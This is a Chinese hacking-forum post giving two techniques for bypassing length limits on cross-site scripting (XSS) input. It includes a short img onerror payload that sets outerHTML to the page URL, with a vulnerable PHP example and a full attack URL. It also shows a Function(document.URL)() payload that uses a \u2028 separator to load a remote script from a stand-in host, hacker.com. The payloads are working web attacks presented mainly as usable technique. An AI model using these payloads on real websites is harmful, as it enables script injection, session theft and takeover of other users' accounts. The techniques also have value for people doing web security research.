搜索
查看: 923|回复: 0

XSS绕过长度限制的两个Tips

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2015-9-20 17:08:17 | 显示全部楼层 |阅读模式
0x00 使用outerHTML
  1. <img src onerror=outerHTML=URL>
复制代码
利用了outerHTML和URL(这里的URL是document.URL),将要执行的JS放在url中,从而突破长度限制。使用document.URL构造xss执行JS。
实例:
  1. <?php
  2. echo "keywords is:" . substr($_GET['k'], 0, 35);
  3. ?>
复制代码
提交URL:
  1. http://127.0.0.1/browser/1.php?k=<img src=x onerror=outerHTML=URL>#<img src=x onerror=alert(/xss/)>
复制代码
效果:

案例:
http://www.wooyun.org/bugs/wooyun-2010-097380
0x01 使用匿名函数

使用了Function(URL)()创建匿名函数并执行它,思路和第一种类似,也是将js放在URL中,不过这里有个trick比较有趣,就是使用unicode字符\U2028换行符,使得URL只获取\u2028之后的字符串,这样一来就不用对URL进行substring操作了,进一步缩小长度。
例子:
这里document.URL和location.href等价,使用Function(str)()创建匿名函数并执行。

  1. http://www.vul.com/vul.php?gname=maxthon"/><svg/onload=Function(document.URL)()>#【\u2028】var s=document.createElement("script");s.src="http://hacker.com/poc.js";document.body.appendChild(s);
复制代码

案例:
http://www.wooyun.org/bugs/wooyun-2014-082043



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表